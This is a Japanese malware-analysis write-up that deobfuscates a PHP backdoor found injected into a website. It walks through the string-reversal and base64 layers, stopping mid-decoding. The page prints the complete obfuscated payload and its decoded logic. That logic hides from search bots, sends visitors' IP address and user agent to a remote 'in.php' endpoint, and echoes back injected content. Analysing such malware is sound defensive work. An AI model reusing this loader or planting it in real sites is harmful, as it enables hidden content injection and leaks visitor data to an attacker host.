QsJ2dRxWY2VGJ"(edoced_46esab(lave'));eval(evallwhVfIVnWPbT(';))"=sTXpISV1UlUIZEMYNlVwUlV5YUVVJlRTJCKGNlQm9USnFGVs9EUo5UTsFmdltlUFZlUFN1Xk0zQmN2ZNBndpNXTyxWY2VGJ"(edoced_46esab(lave'));eval(evallwhVfIVnWPbT(';))"=sTKpkicqNlVjF0ahRGWZRXMhZXZkgidlJnc0NHKGNlQm9USnFGVs9EUo5UTsFmdlhCbhZXZ"(edoced_46esab(lave'));eval(evallwhVfIVnWPbT(';))"=sTKpISP9c2YshXbZRnRtVlIoY0UCZ2TJdWYUx2TQhmTNxWY2VGIskiI0Y1RaVnRXdlIoY0UCZ2TJdWYUx2TQhmTNxWY2VGIskiI9kEWaJDbHFmaKhVWmZ0VhJCKGNlQm9USnFGVs9EUo5UTsFmdlBCLpICM50WUP5kVUJCKGNlQm9USnFGVs9EUo5UTsFmdlBCLpISPB52YxgnMVJCKGNlQm9USnFGVs9EUo5UTsFmdlBCLpICb4JjW2ljMSJCKGNlQm9USnFGVs9EUo5UTsFmdlhSehJnchBSPgQHUEh2bzdEduREdUxWY2VGJ"(edoced_46esab(lave'));eval(evallwhVfIVnWPbT(';))"==wOpkiI5QHVLpnUDtkeS5mYsJlbiZnTygFMWJjWmZ1RiBnWHF1Z002YxIFWalHdIlEcNhkSvRTbR1kTyIlSsBDVaZ0MhpkSVRlRkZkYopFWadGNyIGcSNTW1ZlbaJCKGNlQm9USnFGVs9EUo5UTsFmdlhCbhZXZ"(edoced_46esab(lave'));eval(evallwhVfIVnWPbT(';))"==wOpgCMkRGJg0DIYpHRyh1TId2SnxWY2VGJ"(edoced_46esab(lave'));eval(evallwhVfIVnWPbT(';))"==Qf9tDajFETatGVCZFb1F3ZzN3csFmdlRCIvh2YltTXxsFajFETatGVCZFb1F3ZzN3csFmdlRCI9ACajFETatGVCZFb1F3ZzN3csFmdlRCI7kCajFETatGVCZFb1F3ZzN3csFmdlRCLlVleG5WZDxmY3FFbhZXZkgSZk9GbwhXZg0DIoNWQMp1aUJkVsVXcnN3czxWY2VGJ7lSKlVleG5WZDxmY3FFbhZXZkwCajFETatGVCZFb1F3ZzN3csFmdlRCKyR3cyR3coAiZptTKp0VKiUlTxQVS5YUVVJlRTJCKGNlQm9USnFGVs9EUo5UTsFmdltlUFZlUFN1XkgSZk92YuVGbyVnLpISOn1mSigiRTJkZPl0ZhRFbPBFaO1EbhZXZukyQmN2ZNBndpNXTyxWY2VGJoUGZvNmblxmc15SKikTStpkIoY0UCZ2TJdWYUx2TQhmTNxWY2VmLdliI9kkRSVkRwglRSFDVOZ1aVJCKGNlQm9USnFGVs9EUo5UTsFmdltlUFZlUFN1Xk4SKi0DMUFmIoY0UCZ2TJdWYUx2TQhmTNxWY2VmLpISP4Q0YigiRTJkZPl0ZhRFbPBFaO1EbhZXZukiIvJkbMJCKGNlQm9USnFGVs9EUo5UTsFmdl5iQmhFRVdEdiVFZCxWY2VGJukiI90zdMJCKGNlQm9USnFGVs9EUo5UTsFmdl5CW6RkcY9ESnt0ZsFmdlRiLpISP4kHTigiRTJkZPl0ZhRFbPBFaO1EbhZXZukiI90zZPJCKGNlQm9USnFGVs9EUo5UTsFmdl5yVWFXYWJXaldFVsFmdlRCKuJETjdUSJ9UWxtWSC1URXxWY2VGI9ACajFETatGVCZFb1F3ZzN3csFmdlRCI7kCMwgDMxsSKoUWbpRHLpkiI90ESkhmUzMmIoY0UCZ2TJdWYUx2TQhmTNxWY2VGK1QWbsc1Ukd2QkVVWpV0UtFGbhZXZkgSZpt2bvNGdlNHQgsHIlNHblBSf7BSKpkSXXNFZnNEZVlVaFNVbhxWY2VGJbVUSL90TD9FJoQXZzNXaoAicvBSKpMkZjdWTwZXaz1kcsFmdlRCIsISavICIuASK0BFRo92cHRnbERHVsFmdlRCIsICfigSZk9Gbw1Wag4CIi8iIog2Y0FWbfdWZyBHKoYWa"(edoced_46esab(lave'));$evalUdCXTDQERmWnDS =18792;}</pre>
<p>という新しいPHPコードが出現する。evalでコレを評価（実行）している。<br />
そしてこれより下の残りのコードはオトリで意味を持たない。</p>
<pre>    $eva1tYldakBcVSir = "";

    //$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
    $eva1tYldakBoVS1r = "edolpxe"."edolpxe";

    //$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;
    $eva1tYidokBoVSjr = "edolpxe";

    //$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";
    $eva1tYldakBcVSir = "strecrptr";

    //$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";
    $eva1tYlbakBcVSir = "gao[pxe";

    //$eva1tYldakBoVS1r = "\x65\143\x72\160";
    $eva1tYldakBoVS1r = "ecrp";

    $eva1tYldakBcVSir = "";

    //$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
    $eva1tYldakBoVS1r = "gao[pxe"."gao[pxe";

    //$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;
    $eva1tYidokBoVSjr = "gao[pxe";

}
?&gt;</pre>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2>出力された肝心のコードの解析</h2>
<p>&nbsp;</p>
<pre>if (!isset($evalUdCXTDQERmWnDS)) {

	function evallwhVfIVnWPbT($s){
		$e = "";
		for ($a = 0; $a &lt;= strlen($s)-1; $a++ ){
			$e .= $s{strlen($s)-$a-1};
		}

		return($e);
	}

	eval(evallwhVfIVnWPbT(';))"=ASf7kyaNRmbBRXWvNnRjFUWJxWY2VGJoUGZvNWZk9FN2U2chJGIuJXd0Vmc7BSKr1EZuFEdZ92cGNWQZlEbhZXZkgiRTJkZPl0ZhRFbPBFaO1EbhZXZg42bpR3YuVnZ"(edoced_46esab(lave'));
	eval(evallwhVfIVnWPbT(';))"7kiI90ESkhmUzMmIoY0UCZ2TJdWYUx2TQhmTNxWY2VWPXNFZnNEZVlVaFNVbhxWY2VGJ"(edoced_46esab(lave'));
	eval(evallwhVfIVnWPbT(';))"7kiI90TQjBjUIFmIoY0UCZ2TJdWYUx2TQhmTNxWY2VWPXZVchZlcpV2VUxWY2VGJ"(edoced_46esab(lave'));
	eval(evallwhVfIVnWPbT(';))"7kiI9QzVhJCKGNlQm9USnFGVs9EUo5UTsFmdl1jQmhFRVdEdiVFZCxWY2VGJ"(edoced_46esab(lave'));
	eval(evallwhVfIVnWPbT(';))"==wOpISP9EVS2R2VJJCKGNlQm9USnFGVs9EUo5UTsFmdl1TZVpnRuV2QsJ2dRxWY2VGJ"(edoced_46esab(lave'));
	eval(evallwhVfIVnWPbT(';))"=sTXpISV1UlUIZEMYNlVwUlV5YUVVJlRTJCKGNlQm9USnFGVs9EUo5UTsFmdltlUFZlUFN1Xk0zQmN2ZNBndpNXTyxWY2VGJ"(edoced_46esab(lave'));
	eval(evallwhVfIVnWPbT(';))"=sTKpkicqNlVjF0ahRGWZRXMhZXZkgidlJnc0NHKGNlQm9USnFGVs9EUo5UTsFmdlhCbhZXZ"(edoced_46esab(lave'));
	eval(evallwhVfIVnWPbT(';))"=sTKpISP9c2YshXbZRnRtVlIoY0UCZ2TJdWYUx2TQhmTNxWY2VGIskiI0Y1RaVnRXdlIoY0UCZ2TJdWYUx2TQhmTNxWY2VGIskiI9kEWaJDbHFmaKhVWmZ0VhJCKGNlQm9USnFGVs9EUo5UTsFmdlBCLpICM50WUP5kVUJCKGNlQm9USnFGVs9EUo5UTsFmdlBCLpISPB52YxgnMVJCKGNlQm9USnFGVs9EUo5UTsFmdlBCLpICb4JjW2ljMSJCKGNlQm9USnFGVs9EUo5UTsFmdlhSehJnchBSPgQHUEh2bzdEduREdUxWY2VGJ"(edoced_46esab(lave'));
	eval(evallwhVfIVnWPbT(';))"==wOpkiI5QHVLpnUDtkeS5mYsJlbiZnTygFMWJjWmZ1RiBnWHF1Z002YxIFWalHdIlEcNhkSvRTbR1kTyIlSsBDVaZ0MhpkSVRlRkZkYopFWadGNyIGcSNTW1ZlbaJCKGNlQm9USnFGVs9EUo5UTsFmdlhCbhZXZ"(edoced_46esab(lave'));
	eval(evallwhVfIVnWPbT(';))"==wOpgCMkRGJg0DIYpHRyh1TId2SnxWY2VGJ"(edoced_46esab(lave'));
	eval(evallwhVfIVnWPbT(';))"==Qf9tDajFETatGVCZFb1F3ZzN3csFmdlRCIvh2YltTXxsFajFETatGVCZFb1F3ZzN3csFmdlRCI9ACajFETatGVCZFb1F3ZzN3csFmdlRCI7kCajFETatGVCZFb1F3ZzN3csFmdlRCLlVleG5WZDxmY3FFbhZXZkgSZk9GbwhXZg0DIoNWQMp1aUJkVsVXcnN3czxWY2VGJ7lSKlVleG5WZDxmY3FFbhZXZkwCajFETatGVCZFb1F3ZzN3csFmdlRCKyR3cyR3coAiZptTKp0VKiUlTxQVS5YUVVJlRTJCKGNlQm9USnFGVs9EUo5UTsFmdltlUFZlUFN1XkgSZk92YuVGbyVnLpISOn1mSigiRTJkZPl0ZhRFbPBFaO1EbhZXZukyQmN2ZNBndpNXTyxWY2VGJoUGZvNmblxmc15SKikTStpkIoY0UCZ2TJdWYUx2TQhmTNxWY2VmLdliI9kkRSVkRwglRSFDVOZ1aVJCKGNlQm9USnFGVs9EUo5UTsFmdltlUFZlUFN1Xk4SKi0DMUFmIoY0UCZ2TJdWYUx2TQhmTNxWY2VmLpISP4Q0YigiRTJkZPl0ZhRFbPBFaO1EbhZXZukiIvJkbMJCKGNlQm9USnFGVs9EUo5UTsFmdl5iQmhFRVdEdiVFZCxWY2VGJukiI90zdMJCKGNlQm9USnFGVs9EUo5UTsFmdl5CW6RkcY9ESnt0ZsFmdlRiLpISP4kHTigiRTJkZPl0ZhRFbPBFaO1EbhZXZukiI90zZPJCKGNlQm9USnFGVs9EUo5UTsFmdl5yVWFXYWJXaldFVsFmdlRCKuJETjdUSJ9UWxtWSC1URXxWY2VGI9ACajFETatGVCZFb1F3ZzN3csFmdlRCI7kCMwgDMxsSKoUWbpRHLpkiI90ESkhmUzMmIoY0UCZ2TJdWYUx2TQhmTNxWY2VGK1QWbsc1Ukd2QkVVWpV0UtFGbhZXZkgSZpt2bvNGdlNHQgsHIlNHblBSf7BSKpkSXXNFZnNEZVlVaFNVbhxWY2VGJbVUSL90TD9FJoQXZzNXaoAicvBSKpMkZjdWTwZXaz1kcsFmdlRCIsISavICIuASK0BFRo92cHRnbERHVsFmdlRCIsICfigSZk9Gbw1Wag4CIi8iIog2Y0FWbfdWZyBHKoYWa"(edoced_46esab(lave'));
	$evalUdCXTDQERmWnDS =18792;
}
</pre>
<p>&nbsp;</p>
<p>コードをきれいに整形すると、上記のようになる。</p>
<p>「evallwhVfIVnWPbT」関数でやっているのは strrev と同じで文字列をひっくり返すだけ。それを評価、実行している。</p>
<p>一行ずつ関数にかけてみる。</p>
<pre>//eval(evallwhVfIVnWPbT(';))"=ASf7kyaNRmbBRXWvNnRjFUWJxWY2VGJoUGZvNWZk9FN2U2chJGIuJXd0Vmc7BSKr1EZuFEdZ92cGNWQZlEbhZXZkgiRTJkZPl0ZhRFbPBFaO1EbhZXZg42bpR3YuVnZ"(edoced_46esab(lave'));
 eval(base64_decode("ZnVuY3Rpb24gZXZhbE1OaFBPbFRhZ0lPZkJTRigkZXZhbElZQWNGc29ZdEFuZE1rKSB7cmV0dXJuIGJhc2U2NF9kZWNvZGUoJGV2YWxJWUFjRnNvWXRBbmRNayk7fSA="));</pre>
<pre>//eval(evallwhVfIVnWPbT(';))"7kiI90ESkhmUzMmIoY0UCZ2TJdWYUx2TQhmTNxWY2VWPXNFZnNEZVlVaFNVbhxWY2VGJ"(edoced_46esab(lave'));
 eval(base64_decode("JGV2YWxhbVNFaVlVZENnZFNXPWV2YWxNTmhQT2xUYWdJT2ZCU0YoImMzUmhkSE09Iik7"));</pre>
<pre>//eval(evallwhVfIVnWPbT(';))"7kiI90TQjBjUIFmIoY0UCZ2TJdWYUx2TQhmTNxWY2VWPXZVchZlcpV2VUxWY2VGJ"(edoced_46esab(lave'));
 eval(base64_decode("JGV2YWxUV2VpclZhcVZXPWV2YWxNTmhQT2xUYWdJT2ZCU0YoImFIUjBjQT09Iik7"));</pre>
<pre>//eval(evallwhVfIVnWPbT(';))"7kiI9QzVhJCKGNlQm9USnFGVs9EUo5UTsFmdl1jQmhFRVdEdiVFZCxWY2VGJ"(edoced_46esab(lave'));
 eval(base64_decode("JGV2YWxCZFVidEdVRFhmQj1ldmFsTU5oUE9sVGFnSU9mQlNGKCJhVzQ9Iik7"));</pre>
<pre>//eval(evallwhVfIVnWPbT(';))"==wOpISP9EVS2R2VJJCKGNlQm9USnFGVs9EUo5UTsFmdl1TZVpnRuV2QsJ2dRxWY2VGJ"(edoced_46esab(lave'));
 eval(base64_decode("JGV2YWxRd2JsQ2VuRnpVZT1ldmFsTU5oUE9sVGFnSU9mQlNGKCJJV2R2SVE9PSIpOw=="));</pre>
<pre>//eval(evallwhVfIVnWPbT(';))"=sTXpISV1UlUIZEMYNlVwUlV5YUVVJlRTJCKGNlQm9USnFGVs9EUo5UTsFmdltlUFZlUFN1Xk0zQmN2ZNBndpNXTyxWY2VGJ"(edoced_46esab(lave'));
 eval(base64_decode("JGV2YWxyTXNpdnBNZ2NmQz0kX1NFUlZFUltldmFsTU5oUE9sVGFnSU9mQlNGKCJTRlJVVUY5VlUwVlNYMEZIUlU1VSIpXTs="));</pre>
<pre>//eval(evallwhVfIVnWPbT(';))"=sTKpkicqNlVjF0ahRGWZRXMhZXZkgidlJnc0NHKGNlQm9USnFGVs9EUo5UTsFmdlhCbhZXZ"(edoced_46esab(lave'));
 eval(base64_decode("ZXZhbChldmFsTU5oUE9sVGFnSU9mQlNGKHN0cnJldigkZXZhMXRZWGRha0FjVlNqcikpKTs="));</pre>
<pre>//eval(evallwhVfIVnWPbT(';))"=sTKpISP9c2YshXbZRnRtVlIoY0UCZ2TJdWYUx2TQhmTNxWY2VGIskiI0Y1RaVnRXdlIoY0UCZ2TJdWYUx2TQhmTNxWY2VGIskiI9kEWaJDbHFmaKhVWmZ0VhJCKGNlQm9USnFGVs9EUo5UTsFmdlBCLpICM50WUP5kVUJCKGNlQm9USnFGVs9EUo5UTsFmdlBCLpISPB52YxgnMVJCKGNlQm9USnFGVs9EUo5UTsFmdlBCLpICb4JjW2ljMSJCKGNlQm9USnFGVs9EUo5UTsFmdlhSehJnchBSPgQHUEh2bzdEduREdUxWY2VGJ"(edoced_46esab(lave'));
 eval(base64_decode("JGV2YWxUdERudEdzb2hEUHQgPSBhcnJheShldmFsTU5oUE9sVGFnSU9mQlNGKCJSMjl2WjJ4bCIpLCBldmFsTU5oUE9sVGFnSU9mQlNGKCJVMngxY25BPSIpLCBldmFsTU5oUE9sVGFnSU9mQlNGKCJUVk5PUW05MCIpLCBldmFsTU5oUE9sVGFnSU9mQlNGKCJhV0ZmWVhKamFHbDJaWEk9IiksIGV2YWxNTmhQT2xUYWdJT2ZCU0YoIldXRnVaR1Y0IiksIGV2YWxNTmhQT2xUYWdJT2ZCU0YoIlVtRnRZbXhsY2c9PSIpKTs="));</pre>
<pre>//eval(evallwhVfIVnWPbT(';))"==wOpkiI5QHVLpnUDtkeS5mYsJlbiZnTygFMWJjWmZ1RiBnWHF1Z002YxIFWalHdIlEcNhkSvRTbR1kTyIlSsBDVaZ0MhpkSVRlRkZkYopFWadGNyIGcSNTW1ZlbaJCKGNlQm9USnFGVs9EUo5UTsFmdlhCbhZXZ"(edoced_46esab(lave'));
 eval(base64_decode("ZXZhbChldmFsTU5oUE9sVGFnSU9mQlNGKCJablZ1WTNScGIyNGdaWFpoYkZkRlRVSkphM0ZaVDBsSlIyTk1RbTRvSkhNcElIdHlaWFIxY200Z1FHWnBiR1ZmWjJWMFgyTnZiblJsYm5SektDUnpLVHQ5IikpOw=="));</pre>
<pre>//eval(evallwhVfIVnWPbT(';))"==wOpgCMkRGJg0DIYpHRyh1TId2SnxWY2VGJ"(edoced_46esab(lave'));
 eval(base64_decode("JGV2YWxnS2dIT1hyRHpYID0gJGRkMCgpOw=="));</pre>
<pre>//eval(evallwhVfIVnWPbT(';))"==Qf9tDajFETatGVCZFb1F3ZzN3csFmdlRCIvh2YltTXxsFajFETatGVCZFb1F3ZzN3csFmdlRCI9ACajFETatGVCZFb1F3ZzN3csFmdlRCI7kCajFETatGVCZFb1F3ZzN3csFmdlRCLlVleG5WZDxmY3FFbhZXZkgSZk9GbwhXZg0DIoNWQMp1aUJkVsVXcnN3czxWY2VGJ7lSKlVleG5WZDxmY3FFbhZXZkwCajFETatGVCZFb1F3ZzN3csFmdlRCKyR3cyR3coAiZptTKp0VKiUlTxQVS5YUVVJlRTJCKGNlQm9USnFGVs9EUo5UTsFmdltlUFZlUFN1XkgSZk92YuVGbyVnLpISOn1mSigiRTJkZPl0ZhRFbPBFaO1EbhZXZukyQmN2ZNBndpNXTyxWY2VGJoUGZvNmblxmc15SKikTStpkIoY0UCZ2TJdWYUx2TQhmTNxWY2VmLdliI9kkRSVkRwglRSFDVOZ1aVJCKGNlQm9USnFGVs9EUo5UTsFmdltlUFZlUFN1Xk4SKi0DMUFmIoY0UCZ2TJdWYUx2TQhmTNxWY2VmLpISP4Q0YigiRTJkZPl0ZhRFbPBFaO1EbhZXZukiIvJkbMJCKGNlQm9USnFGVs9EUo5UTsFmdl5iQmhFRVdEdiVFZCxWY2VGJukiI90zdMJCKGNlQm9USnFGVs9EUo5UTsFmdl5CW6RkcY9ESnt0ZsFmdlRiLpISP4kHTigiRTJkZPl0ZhRFbPBFaO1EbhZXZukiI90zZPJCKGNlQm9USnFGVs9EUo5UTsFmdl5yVWFXYWJXaldFVsFmdlRCKuJETjdUSJ9UWxtWSC1URXxWY2VGI9ACajFETatGVCZFb1F3ZzN3csFmdlRCI7kCMwgDMxsSKoUWbpRHLpkiI90ESkhmUzMmIoY0UCZ2TJdWYUx2TQhmTNxWY2VGK1QWbsc1Ukd2QkVVWpV0UtFGbhZXZkgSZpt2bvNGdlNHQgsHIlNHblBSf7BSKpkSXXNFZnNEZVlVaFNVbhxWY2VGJbVUSL90TD9FJoQXZzNXaoAicvBSKpMkZjdWTwZXaz1kcsFmdlRCIsISavICIuASK0BFRo92cHRnbERHVsFmdlRCIsICfigSZk9Gbw1Wag4CIi8iIog2Y0FWbfdWZyBHKoYWa"(edoced_46esab(lave'));
 eval(base64_decode("aWYoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCIsICRldmFsVHREbnRHc29oRFB0KSAuICIvaSIsICRldmFsck1zaXZwTWdjZkMpKSBvciAoaXNzZXQoJF9DT09LSUVbJGV2YWxhbVNFaVlVZENnZFNXXSkpKSB7fSBlbHNlIHsgQHNldGNvb2tpZSgkZXZhbGFtU0VpWVVkQ2dkU1csbWQ1KGV2YWxNTmhQT2xUYWdJT2ZCU0YoImMzUmhkSE09IikpLHRpbWUoKSsxMDgwMCk7ICRldmFsc3NzZ3F1bFZCVGtaTEFjaCA9IGV2YWxXRU1CSWtxWU9JSUdjTEJuKCRldmFsVFdlaXJWYXFWVy5ldmFsTU5oUE9sVGFnSU9mQlNGKCJPZz09IikuZXZhbE1OaFBPbFRhZ0lPZkJTRigiTHk4PSIpLiRldmFsZ0tnSE9YckR6WC5ldmFsTU5oUE9sVGFnSU9mQlNGKCJMdz09IikuJGV2YWxCZFVidEdVRFhmQi5ldmFsTU5oUE9sVGFnSU9mQlNGKCJMbkJvIikuZXZhbE1OaFBPbFRhZ0lPZkJTRigiY0Q4PSIpLmV2YWxNTmhQT2xUYWdJT2ZCU0YoImFUMD0iKS4kX1NFUlZFUltldmFsTU5oUE9sVGFnSU9mQlNGKCJVa1ZOVDFSRlgwRkVSRkk9IildLmV2YWxNTmhQT2xUYWdJT2ZCU0YoIkptSTkiKS51cmxlbmNvZGUoJGV2YWxyTXNpdnBNZ2NmQykuZXZhbE1OaFBPbFRhZ0lPZkJTRigiSm1nOSIpLnVybGVuY29kZSgkX1NFUlZFUltldmFsTU5oUE9sVGFnSU9mQlNGKCJTRlJVVUY5SVQxTlUiKV0pKTtpZiAoc3Ryc3RyKCRldmFsc3NzZ3F1bFZCVGtaTEFjaCwkZXZhbFF3YmxDZW5GelVlKSl7JGV2YWxzc3NncXVsVkJUa1pMQWNoID0gZXhwbG9kZSgkZXZhbFF3YmxDZW5GelVlLCRldmFsc3NzZ3F1bFZCVGtaTEFjaCk7ICRldmFsc3NzZ3F1bFZCVGtaTEFjaCA9ICRldmFsc3NzZ3F1bFZCVGtaTEFjaFsxXTtlY2hvICRldmFsc3NzZ3F1bFZCVGtaTEFjaDt9fQ=="));</pre>
<p>これらのbase64をデコードすると</p>
<pre>function evalMNhPOlTagIOfBSF($evalIYAcFsoYtAndMk) {return base64_decode($evalIYAcFsoYtAndMk);}
 $evalamSEiYUdCgdSW=evalMNhPOlTagIOfBSF("c3RhdHM=");
 $evalTWeirVaqVW=evalMNhPOlTagIOfBSF("aHR0cA==");
 $evalBdUbtGUDXfB=evalMNhPOlTagIOfBSF("aW4=");
 $evalQwblCenFzUe=evalMNhPOlTagIOfBSF("IWdvIQ==");
 $evalrMsivpMgcfC=$_SERVER[evalMNhPOlTagIOfBSF("SFRUUF9VU0VSX0FHRU5U")];
 eval(evalMNhPOlTagIOfBSF(strrev($eva1tYXdakAcVSjr)));
 $evalTtDntGsohDPt = array(evalMNhPOlTagIOfBSF("R29vZ2xl"), evalMNhPOlTagIOfBSF("U2x1cnA="), evalMNhPOlTagIOfBSF("TVNOQm90"), evalMNhPOlTagIOfBSF("aWFfYXJjaGl2ZXI="), evalMNhPOlTagIOfBSF("WWFuZGV4"), evalMNhPOlTagIOfBSF("UmFtYmxlcg=="));
 eval(evalMNhPOlTagIOfBSF("ZnVuY3Rpb24gZXZhbFdFTUJJa3FZT0lJR2NMQm4oJHMpIHtyZXR1cm4gQGZpbGVfZ2V0X2NvbnRlbnRzKCRzKTt9"));
 $evalgKgHOXrDzX = $dd0();
 if((preg_match("/" . implode("|", $evalTtDntGsohDPt) . "/i", $evalrMsivpMgcfC)) or (isset($_COOKIE[$evalamSEiYUdCgdSW]))) {} else { @setcookie($evalamSEiYUdCgdSW,md5(evalMNhPOlTagIOfBSF("c3RhdHM=")),time()+10800); $evalsssgqulVBTkZLAch = evalWEMBIkqYOIIGcLBn($evalTWeirVaqVW.evalMNhPOlTagIOfBSF("Og==").evalMNhPOlTagIOfBSF("Ly8=").$evalgKgHOXrDzX.evalMNhPOlTagIOfBSF("Lw==").$evalBdUbtGUDXfB.evalMNhPOlTagIOfBSF("LnBo").evalMNhPOlTagIOfBSF("cD8=").evalMNhPOlTagIOfBSF("aT0=").$_SERVER[evalMNhPOlTagIOfBSF("UkVNT1RFX0FERFI=")].evalMNhPOlTagIOfBSF("JmI9").urlencode($evalrMsivpMgcfC).evalMNhPOlTagIOfBSF("Jmg9").urlencode($_SERVER[evalMNhPOlTagIOfBSF("SFRUUF9IT1NU")]));if (strstr($evalsssgqulVBTkZLAch,$evalQwblCenFzUe)){$evalsssgqulVBTkZLAch = explode($evalQwblCenFzUe,$evalsssgqulVBTkZLAch); $evalsssgqulVBTkZLAch = $evalsssgqulVBTkZLAch[1];echo $evalsssgqulVBTkZLAch;}}</pre>
<p>&nbsp;</p>
<p>これが返ってくるので、整形する。</p>
<pre>function evalMNhPOlTagIOfBSF($evalIYAcFsoYtAndMk) {
	return base64_decode($evalIYAcFsoYtAndMk);
}

$evalamSEiYUdCgdSW=evalMNhPOlTagIOfBSF("c3RhdHM=");
$evalTWeirVaqVW=evalMNhPOlTagIOfBSF("aHR0cA==");
$evalBdUbtGUDXfB=evalMNhPOlTagIOfBSF("aW4=");
$evalQwblCenFzUe=evalMNhPOlTagIOfBSF("IWdvIQ==");
$evalrMsivpMgcfC=$_SERVER[evalMNhPOlTagIOfBSF("SFRUUF9VU0VSX0FHRU5U")];
eval(evalMNhPOlTagIOfBSF(strrev($eva1tYXdakAcVSjr)));
$evalTtDntGsohDPt = array(
	evalMNhPOlTagIOfBSF("R29vZ2xl"),
	evalMNhPOlTagIOfBSF("U2x1cnA="),
	evalMNhPOlTagIOfBSF("TVNOQm90"),
	evalMNhPOlTagIOfBSF("aWFfYXJjaGl2ZXI="),
	evalMNhPOlTagIOfBSF("WWFuZGV4"),
	evalMNhPOlTagIOfBSF("UmFtYmxlcg==")
);
eval(evalMNhPOlTagIOfBSF("ZnVuY3Rpb24gZXZhbFdFTUJJa3FZT0lJR2NMQm4oJHMpIHtyZXR1cm4gQGZpbGVfZ2V0X2NvbnRlbnRzKCRzKTt9"));
$evalgKgHOXrDzX = $dd0();
if( (preg_match("/" . implode("|", $evalTtDntGsohDPt) . "/i", $evalrMsivpMgcfC)) or (isset($_COOKIE[$evalamSEiYUdCgdSW]))) {

} else {
	@setcookie($evalamSEiYUdCgdSW,md5(evalMNhPOlTagIOfBSF("c3RhdHM=")),time()+10800);
	$evalsssgqulVBTkZLAch = evalWEMBIkqYOIIGcLBn($evalTWeirVaqVW.evalMNhPOlTagIOfBSF("Og==").evalMNhPOlTagIOfBSF("Ly8=").$evalgKgHOXrDzX.evalMNhPOlTagIOfBSF("Lw==").$evalBdUbtGUDXfB.evalMNhPOlTagIOfBSF("LnBo").evalMNhPOlTagIOfBSF("cD8=").evalMNhPOlTagIOfBSF("aT0=").$_SERVER[evalMNhPOlTagIOfBSF("UkVNT1RFX0FERFI=")].evalMNhPOlTagIOfBSF("JmI9").urlencode($evalrMsivpMgcfC).evalMNhPOlTagIOfBSF("Jmg9").urlencode($_SERVER[evalMNhPOlTagIOfBSF("SFRUUF9IT1NU")]));
	if ( strstr($evalsssgqulVBTkZLAch,$evalQwblCenFzUe)){
		$evalsssgqulVBTkZLAch = explode($evalQwblCenFzUe,$evalsssgqulVBTkZLAch);
		$evalsssgqulVBTkZLAch = $evalsssgqulVBTkZLAch[1];
		echo $evalsssgqulVBTkZLAch;
	}
}</pre>
<p>整形したものを解析する。</p>
<pre>$evalamSEiYUdCgdSW=evalMNhPOlTagIOfBSF("c3RhdHM=");</pre>
<p>base64デコードすると「stats」が出てくる。</p>
<pre>$evalTWeirVaqVW=evalMNhPOlTagIOfBSF("aHR0cA==");</pre>
<p>デコードで「http」がでてくる。</p>
<pre>$evalBdUbtGUDXfB=evalMNhPOlTagIOfBSF("aW4=");</pre>
<p>デコードで「in」がでてくる。</p>
<pre>$evalQwblCenFzUe=evalMNhPOlTagIOfBSF("IWdvIQ==");</pre>
<p>デコードで「!go!」がでてくる。</p>
<pre>$evalrMsivpMgcfC=$_SERVER[evalMNhPOlTagIOfBSF("SFRUUF9VU0VSX0FHRU5U")];</pre>
<p>デコードで「HTTP_USER_AGENT」がでてくる。つまり、</p>
<pre>$evalrMsivpMgcfC = $_SERVER["HTTP_USER_AGENT"];</pre>
<p>ということ。</p>
<pre>eval(evalMNhPOlTagIOfBSF(strrev($eva1tYXdakAcVSjr)));</pre>
<p>さきほどオトリだと思っていた、配列の[0]がココで出てくる。strrevなのでひっくり返してbase64デコードをかけると、</p>
<pre>$fri55 = ';$retarn($fif25,$fif52,$fit52';$fr55 = '$retrun(';$fr52 = 'MKU}f6T4';$fri52 = '\x3d\42\x29\51\x3b';$fri25 = '\112\x48\112\x6c\144\x48'; $fr25 = $fri52.'")'.$fri55; $dri25 = "\x24\144\x64\60\x20\75\x20";eval('$fif25 = "\x40\50\x2e\53\x29\100\x69\145";$fif52 = "\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b";$fit52 = "\x40\145\x76\141\x6c\50\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65\50\x22";preg_replace($fif25,$fif52,$fit52."\112\x48\112\x6c\144\x47\106\x79\142\x6a\60\x6e\143\x48\112\x6c\132\x31\71\x79\132\x58\102\x73\131\x57\116\x6c\112\x7a\163'.$fr25.'."'.$fri25.'\126\x75\120\x53\144\x6a\143\x6d\126\x68\144\x47\126\x66\132\x6e\126\x75\131\x33\122\x70\142\x32\64\x6e\117\x77\75'.$fr25.'."'.$fri25.'\112\x31\142\x6a\60\x6e\143\x6d\126\x30\143\x6e\126\x75\112\x7a\163'.$fr25.'."\132\x6e\126\x75\131\x33\122\x70\142\x32\64\x67\143\x6d\126\x30\143\x6e\126\x75\113\x43\122\x79\132\x58\122\x31\143\x6d\64\x70\111\x48\163\x6b\132\x6e\126\x75\131\x32\154\x30\142\x32\64\x67\120\x53\102\x6a\143\x6d\126\x68\144\x47\126\x66\132\x6e\126\x75\131\x33\122\x70\142\x32\64\x6f\111\x69\131\x6b\111\x69\64\x69\132\x6e\126\x75\131\x33\122\x70\142\x32\64\x69\114\x43\111\x6b\111\x69\64\x69\132\x6e\126\x75\131\x33\122\x70\142\x32\64\x67\120\x53\102\x6a\141\x48\111\x6f\142\x33\112\x6b\113\x43\121\x69\114\x69\112\x6d\144\x57\65\x6a\144\x47\154\x76\142\x69\153\x74\115\x79\153\x37\111\x69\153\x37'.$fri25.'\126\x79\142\x69\101\x39\111\x48\116\x30\143\x6c\71\x7a\143\x47\170\x70\144\x43\147\x6b\143\x6d\126\x30\144\x58\112\x75\113\x54\164\x68\143\x6e\112\x68\145\x56\71\x33\131\x57\170\x72\113\x43\122\x79\132\x58\122\x31\143\x6d\64\x73\111\x43\122\x6d\144\x57\65\x6a\141\x58\122\x76\142\x69\153\x37\143\x6d\126\x30\144\x58\112\x75\111\x47\112\x68\143\x32\125\x32\116\x46\71\x6b\132\x57\116\x76\132\x47\125\x6f\141\x57\61\x77\142\x47\71\x6b\132\x53\147\x69\111\x69\167\x6b\143\x6d\126\x30\144\x58\112\x75\113\x53\153\x37\146\x51\75'.$fri